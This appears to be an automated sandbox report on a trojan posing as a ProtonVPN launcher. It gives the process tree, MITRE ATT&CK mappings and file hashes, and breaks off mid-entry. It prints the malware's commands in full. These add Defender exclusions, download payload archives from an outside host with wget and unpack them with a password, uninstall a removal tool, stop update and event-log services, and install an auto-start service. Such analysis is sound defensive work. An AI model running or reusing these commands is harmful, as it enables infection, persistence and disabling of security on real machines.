4724	kuytqawknxye.exe
3972	powershell.exe
3972	powershell.exe
4724	kuytqawknxye.exe
4724	kuytqawknxye.exe
4724	kuytqawknxye.exe
4724	kuytqawknxye.exe
4724	kuytqawknxye.exe
4724	kuytqawknxye.exe
4724	kuytqawknxye.exe
4724	kuytqawknxye.exe
4724	kuytqawknxye.exe
4724	kuytqawknxye.exe
4724	kuytqawknxye.exe
4724	kuytqawknxye.exe
1012	dwm.exe
1012	dwm.exe
1012	dwm.exe
1012	dwm.exe
1012	dwm.exe
1012	dwm.exe
1012	dwm.exe
1012	dwm.exe
1012	dwm.exe
1012	dwm.exe
1012	dwm.exe
1012	dwm.exe
1012	dwm.exe
1012	dwm.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.exedwm.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	Process
Token: SeDebugPrivilege	4932	powershell.exe
Token: SeDebugPrivilege	728	powershell.exe
Token: SeDebugPrivilege	4284	powershell.exe
Token: SeShutdownPrivilege	4368	powercfg.exe
Token: SeCreatePagefilePrivilege	4368	powercfg.exe
Token: SeShutdownPrivilege	2296	powercfg.exe
Token: SeCreatePagefilePrivilege	2296	powercfg.exe
Token: SeShutdownPrivilege	3296	powercfg.exe
Token: SeCreatePagefilePrivilege	3296	powercfg.exe
Token: SeShutdownPrivilege	3948	powercfg.exe
Token: SeCreatePagefilePrivilege	3948	powercfg.exe
Token: SeDebugPrivilege	3972	powershell.exe
Token: SeLockMemoryPrivilege	1012	dwm.exe
Token: SeShutdownPrivilege	1088	powercfg.exe
Token: SeCreatePagefilePrivilege	1088	powercfg.exe
Token: SeShutdownPrivilege	4796	powercfg.exe
Token: SeCreatePagefilePrivilege	4796	powercfg.exe
Token: SeShutdownPrivilege	2940	powercfg.exe
Token: SeCreatePagefilePrivilege	2940	powercfg.exe
Token: SeShutdownPrivilege	4720	powercfg.exe
Token: SeCreatePagefilePrivilege	4720	powercfg.exe

Suspicious use of FindShellTrayWindow 10 IoCs

Processes:

wget.exewinrar.exewget.exewinrar.exewget.exewinrar.exe3plugin13200

pid	Process
1832	wget.exe
4816	winrar.exe
4816	winrar.exe
2292	wget.exe
1776	winrar.exe
1776	winrar.exe
2692	wget.exe
2204	winrar.exe
2204	winrar.exe
936	3plugin13200

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Launcher.exeLaunhcer.exepowershell.exeLauncher.exeplugin318493plugin13200cmd.execmd.exekuytqawknxye.exe

description	pid	Process	procid_target
PID 404 wrote to memory of 228	404	Launcher.exe	78
PID 404 wrote to memory of 228	404	Launcher.exe	78
PID 404 wrote to memory of 228	404	Launcher.exe	78
PID 404 wrote to memory of 228	404	Launcher.exe	78
PID 404 wrote to memory of 228	404	Launcher.exe	78
PID 228 wrote to memory of 4932	228	Launhcer.exe	79
PID 228 wrote to memory of 4932	228	Launhcer.exe	79
PID 228 wrote to memory of 4932	228	Launhcer.exe	79
PID 4932 wrote to memory of 4656	4932	powershell.exe	81
PID 4932 wrote to memory of 4656	4932	powershell.exe	81
PID 4932 wrote to memory of 4656	4932	powershell.exe	81
PID 4932 wrote to memory of 4656	4932	powershell.exe	81
PID 4932 wrote to memory of 4656	4932	powershell.exe	81
PID 4656 wrote to memory of 728	4656	Launcher.exe	82
PID 4656 wrote to memory of 728	4656	Launcher.exe	82
PID 4656 wrote to memory of 728	4656	Launcher.exe	82
PID 4656 wrote to memory of 1832	4656	Launcher.exe	84
PID 4656 wrote to memory of 1832	4656	Launcher.exe	84
PID 4656 wrote to memory of 1832	4656	Launcher.exe	84
PID 4656 wrote to memory of 4816	4656	Launcher.exe	86
PID 4656 wrote to memory of 4816	4656	Launcher.exe	86
PID 4656 wrote to memory of 4816	4656	Launcher.exe	86
PID 4656 wrote to memory of 1512	4656	Launcher.exe	92
PID 4656 wrote to memory of 1512	4656	Launcher.exe	92
PID 4656 wrote to memory of 1512	4656	Launcher.exe	92
PID 4656 wrote to memory of 2292	4656	Launcher.exe	93
PID 4656 wrote to memory of 2292	4656	Launcher.exe	93
PID 4656 wrote to memory of 2292	4656	Launcher.exe	93
PID 1512 wrote to memory of 4692	1512	plugin31849	95
PID 1512 wrote to memory of 4692	1512	plugin31849	95
PID 1512 wrote to memory of 4692	1512	plugin31849	95
PID 1512 wrote to memory of 4692	1512	plugin31849	95
PID 1512 wrote to memory of 4692	1512	plugin31849	95
PID 4656 wrote to memory of 1776	4656	Launcher.exe	99
PID 4656 wrote to memory of 1776	4656	Launcher.exe	99
PID 4656 wrote to memory of 1776	4656	Launcher.exe	99
PID 4656 wrote to memory of 4836	4656	Launcher.exe	100
PID 4656 wrote to memory of 4836	4656	Launcher.exe	100
PID 4656 wrote to memory of 2692	4656	Launcher.exe	101
PID 4656 wrote to memory of 2692	4656	Launcher.exe	101
PID 4656 wrote to memory of 2692	4656	Launcher.exe	101
PID 4656 wrote to memory of 2204	4656	Launcher.exe	103
PID 4656 wrote to memory of 2204	4656	Launcher.exe	103
PID 4656 wrote to memory of 2204	4656	Launcher.exe	103
PID 4656 wrote to memory of 936	4656	Launcher.exe	104
PID 4656 wrote to memory of 936	4656	Launcher.exe	104
PID 4656 wrote to memory of 936	4656	Launcher.exe	104
PID 936 wrote to memory of 2584	936	3plugin13200	123
PID 936 wrote to memory of 2584	936	3plugin13200	123
PID 936 wrote to memory of 2584	936	3plugin13200	123
PID 4656 wrote to memory of 2356	4656	Launcher.exe	152
PID 4656 wrote to memory of 2356	4656	Launcher.exe	152
PID 4656 wrote to memory of 2356	4656	Launcher.exe	152
PID 4736 wrote to memory of 2144	4736	cmd.exe	162
PID 4736 wrote to memory of 2144	4736	cmd.exe	162
PID 2692 wrote to memory of 1936	2692	cmd.exe	192
PID 2692 wrote to memory of 1936	2692	cmd.exe	192
PID 4724 wrote to memory of 4776	4724	kuytqawknxye.exe	205
PID 4724 wrote to memory of 4776	4724	kuytqawknxye.exe	205
PID 4724 wrote to memory of 4776	4724	kuytqawknxye.exe	205
PID 4724 wrote to memory of 4776	4724	kuytqawknxye.exe	205
PID 4724 wrote to memory of 4776	4724	kuytqawknxye.exe	205
PID 4724 wrote to memory of 4776	4724	kuytqawknxye.exe	205
PID 4724 wrote to memory of 4776	4724	kuytqawknxye.exe	205

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:3088
- C:\Windows\SysWOW64\openwith.exe
  "C:\Windows\system32\openwith.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:4692

C:\Users\Admin\AppData\Local\Temp\ProtonVPN-10_11\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\ProtonVPN-10_11\Launcher.exe"
1⤵
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:404
- C:\Users\Admin\AppData\Roaming\services\Launhcer.exe
  "C:\Users\Admin\AppData\Roaming\services\Launhcer.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:228
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "$AdminRightsRequired = $true function Get-Win { while ($true) { # if ($AdminRightsRequired) { # try { Start-Process -FilePath '.\data\Launcher.exe' -Verb RunAs -Wait # break } catch { Write-Host 'Error 0xc0000906' } } else { # break } } } Get-Win"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4932
  - - C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe
      "C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4656
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath $env:ProgramData, $env:AppData, $env:SystemDrive\ "
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:728
    - - C:\Users\Admin\AppData\Roaming\services\wget.exe
        
        "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition https://buscocurro.com/1/1 -P C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:1832
    - - C:\Users\Admin\AppData\Roaming\services\winrar.exe
        
        "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\01plugins*.* "plugin*" C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:4816
    - - C:\Users\Admin\AppData\Roaming\services\plugin31849
        
        C:\Users\Admin\AppData\Roaming\services\plugin31849
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1512
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1512 -s 540
        6⤵
        Program crash
        
        PID:4388
    - - C:\Users\Admin\AppData\Roaming\services\wget.exe
        
        "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition https://buscocurro.com/2/1 -P C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:2292
    - - C:\Users\Admin\AppData\Roaming\services\winrar.exe
        
        "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\02plugins*.* "2plugin*" C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:1776
    - - C:\Users\Admin\AppData\Roaming\services\2plugin28438
        
        C:\Users\Admin\AppData\Roaming\services\2plugin28438
        5⤵
        Drops file in System32 directory
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:4836
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4284
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4736
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        
        PID:2144
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:4596
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:2784
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:460
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        6⤵
        Launches sc.exe
        
        PID:3324
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        6⤵
        Launches sc.exe
        
        PID:1056
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        6⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:2296
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        6⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:3296
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        6⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:3948
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        6⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:4368
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "OZLCSUZD"
        6⤵
        Launches sc.exe
        
        PID:4716
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "OZLCSUZD" binpath= "C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe" start= "auto"
        6⤵
        Launches sc.exe
        
        PID:4436
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        6⤵
        Launches sc.exe
        
        PID:2256
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "OZLCSUZD"
        6⤵
        Launches sc.exe
        
        PID:4696
    - - C:\Users\Admin\AppData\Roaming\services\wget.exe
        
        "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition https://buscocurro.com/3/1 -P C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:2692
    - - C:\Users\Admin\AppData\Roaming\services\winrar.exe
        
        "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\03plugins*.* "3plugin*" C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:2204
    - - C:\Users\Admin\AppData\Roaming\services\3plugin13200
        
        C:\Users\Admin\AppData\Roaming\services\3plugin13200
        5⤵
        Drops file in Windows directory
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:936
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 936 -s 600
        6⤵
        Program crash
        
        PID:1012
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 936 -s 816
        6⤵
        Program crash
        
        PID:4552
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 936 -s 868
        6⤵
        Program crash
        
        PID:2632
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 936 -s 960
        6⤵
        Program crash
        
        PID:2612
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 936 -s 980
        6⤵
        Program crash
        
        PID:2148
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 936 -s 1000
        6⤵
        Program crash
        
        PID:3724
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 936 -s 868
        6⤵
        Program crash
        
        PID:4312
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 936 -s 1132
        6⤵
        Program crash
        
        PID:1892
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 936 -s 1176
        6⤵
        Program crash
        
        PID:1056
      - C:\Users\Admin\AppData\Local\Temp\3bca58cece\Hkbsse.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3bca58cece\Hkbsse.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2584
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2584 -s 612
        7⤵
        Program crash
        
        PID:4436
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2584 -s 620
        7⤵
        Program crash
        
        PID:4696
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2584 -s 632
        7⤵
        Program crash
        
        PID:4512
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2584 -s 828
        7⤵
        Program crash
        
        PID:3136
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2584 -s 852
        7⤵
        Program crash
        
        PID:404
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2584 -s 892
        7⤵
        Program crash
        
        PID:1408
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2584 -s 924
        7⤵
        Program crash
        
        PID:2420
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2584 -s 1012
        7⤵
        Program crash
        
        PID:3868
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2584 -s 1148
        7⤵
        Program crash
        
        PID:3540
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2584 -s 1328
        7⤵
        Program crash
        
        PID:3512
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2584 -s 1380
        7⤵
        Program crash
        
        PID:1744
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2584 -s 1416
        7⤵
        Program crash
        
        PID:4740
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 936 -s 1612
        6⤵
        Program crash
        
        PID:2412
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 936 -s 800
        6⤵
        Program crash
        
        PID:4588
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /K rd /s /q "C:\Users\Admin\AppData\Roaming\services" & EXIT
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:2580

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 1512 -ip 1512
1⤵
PID:4944

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 936 -ip 936
1⤵
PID:4956

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 936 -ip 936
1⤵
PID:4744

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 936 -ip 936
1⤵
PID:4904

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 936 -ip 936
1⤵
PID:2100

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 936 -ip 936
1⤵
PID:4940

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 936 -ip 936
1⤵
PID:776

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 936 -ip 936
1⤵
PID:1648

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 936 -ip 936
1⤵
PID:2488

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 936 -ip 936
1⤵
PID:836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 936 -ip 936
1⤵
PID:3948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 936 -ip 936
1⤵
PID:684

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2584 -ip 2584
1⤵
PID:4100

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2584 -ip 2584
1⤵
PID:1820

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 2584 -ip 2584
1⤵
PID:2972

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 2584 -ip 2584
1⤵
PID:864

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 2584 -ip 2584
1⤵
PID:232

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 2584 -ip 2584
1⤵
PID:4572

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 2584 -ip 2584
1⤵
PID:3836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2584 -ip 2584
1⤵
PID:2172

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 2584 -ip 2584
1⤵
PID:4976

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 2584 -ip 2584
1⤵
PID:4608

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 2584 -ip 2584
1⤵
PID:964

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 2584 -ip 2584
1⤵
PID:3716

C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe
C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe
1⤵
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4724
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2692
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:1936
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:3624
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:1148
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2252
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:1316
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:4968
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4720
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4796
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1088
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2940
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:4776
- C:\Windows\system32\dwm.exe
  dwm.exe
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
60KB

MD5
76b52ccdb5682f80e9830a765e4f9604

SHA1
e0f063114a8463b5a6f44858738a7ffdc2fe9061

SHA256
2428d24df851b6e7b5cfa7a1d76e19e0f853ae0f63d95675d1e6d2f73685ee7e

SHA512
af544fcaf4702a619aeaa1534069fcfd82afd74402d6a58318ebd949ee47d55fc0043aa87a499864174e5cda1b47bd0ba0f90d441f974de1c50840b21a8fefad

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
feb9ffc06d2c647d5d561aba0252cc4c

SHA1
fb8ec48193a51a5528bc0715f80ea77d22a795a7

SHA256
3b78cb4fdd17cc15f667cb0b679e91b11c77a6639837d4fcd6b2ae5b996f3bf1

SHA512
01d5fe95f47a7feec361a15d54c9127ea309b1b456aa4641857d6618f5af54fc5fea36dc745218bc5e0213da4e7d70fabfcf62c470a7169be7ecc2139401892a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_coqoh3bv.szb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\WinRAR\version.dat

Filesize
12B

MD5
be6511021b3e2eafe248cf6f50ed6961

SHA1
a8692d3f6322219e1300a61d8231040fc1e0e05a

SHA256
15f52263d5e52662b3782494c5d4a159f76ca20c4b2ceb43848aa995a95e7e24

SHA512
afbe227cc47cfa58b71a6986acf43e4c4af5bd025d6d458e8fc01de109d8d9758d1600e90efec987134a8173b8e9e8ac4b1a2be6e8cf2ad9fc6d15d4ab4c7f30

Download Submit
C:\Users\Admin\AppData\Roaming\services\01plugins7727.rar

Filesize
2.9MB

MD5
a8ed41e070a43f585a5bdd420150b46d

SHA1
26525d416739c378f045a57086bcb243d5bb5829

SHA256
63a24f1ac4393f02d3d4e72963e8158eac4d6f9b93a18abe1d4ea25a98027182

SHA512
c89799edaa8b8cb0e4f572ae0d35fb08f85919b9cf1399d311c9f40207335e4cdd90fab47d7c81424876cbc147cec231ad9f2976f7f7a593f07e382129a00589

Download Submit
C:\Users\Admin\AppData\Roaming\services\02plugins549.rar

Filesize
9.6MB

MD5
5cfa362d6d89d663bdb58ccd5333a54a

SHA1
a4753db03c5ddcc3f07eb4ce3b9f909fb9807fcd

SHA256
6f3299d60da1cee65c07ff09c0ed630eeccbf60d2b7c5a523a82b8b1f9d7242f

SHA512
55bf3494ffcdcbe1de0e798c2d5bfa8ade3fd1e68d77481eec9a0a2731569ade26d69b18cbe26a941c2459644ca21bd9e53a521ecad7b0065a45ce056c4a88db

Download Submit
C:\Users\Admin\AppData\Roaming\services\03plugins2536.rar

Filesize
2.8MB

MD5
8349c8699b21140a3354eef28a73d7ae

SHA1
dedad5a5102f8d54530b212617a3144e31e4fe33

SHA256
49f5a9b2803a23d7a5fafd6d717b725f06f90d5e928976113ded3cbd1ef1388f

SHA512
746687363a395447763a87f90df079be13c84867f31aa685b4abde9d568eace12b8d8847a8987f8a15d6052bfea1bedb61d851cabf9cf50bcc215aa54ab60730

Download Submit
C:\Users\Admin\AppData\Roaming\services\2plugin28438

Filesize
7.2MB

MD5
